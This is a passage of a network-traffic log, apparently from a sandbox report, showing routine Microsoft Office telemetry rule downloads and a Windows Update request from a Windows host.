2024-10-29 16:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165919Z-15b8d89586fbmg6qpd9yf8zhm000000001ng00000000gz8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:19 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165919Z-r197bdfb6b48v72xb403uy6hns00000007f0000000007zmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:20 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165920Z-r197bdfb6b4mcssrk8cfa4gm1g00000000c0000000002e9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:20 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: cbc40ba7-201e-0003-72af-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165920Z-17c5cb586f6vcw6vtg5eymp4u800000004vg00000000fmym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:20 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165920Z-15b8d89586f42m673h1quuee4s0000000au000000000ffbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:20 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 8e6df999-101e-007a-77ef-24047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165920Z-15b8d89586f5s5nz3ffrgxn5ac00000007e000000000dq8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49763	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2P5wXySC3kYAZ87&MD=oyHvSXK8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 16:59:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d23d4a7c-4bef-49ca-b305-3d6c3a4393e2 MS-RequestId: d07a7d4f-ecc1-42b2-93a4-4d672391d2c2 MS-CV: wtCTZLiolk6AfTje.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 16:59:20 GMT Connection: close Content-Length: 24490
2024-10-29 16:59:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 16:59:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165921Z-16849878b78bjkl8dpep89pbgg00000005m0000000003wwc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:21 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165921Z-15b8d89586fvk4kmbg8pf84y8800000007u0000000002afz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:21 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c1144745-701e-0098-7f2c-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165921Z-r197bdfb6b4c8q4qvwwy2byzsw000000075g000000006e5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165921Z-16849878b78xblwksrnkakc08w000000063g000000007w1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:21 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165921Z-16849878b78tg5n42kspfr0x4800000006q000000000x6r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
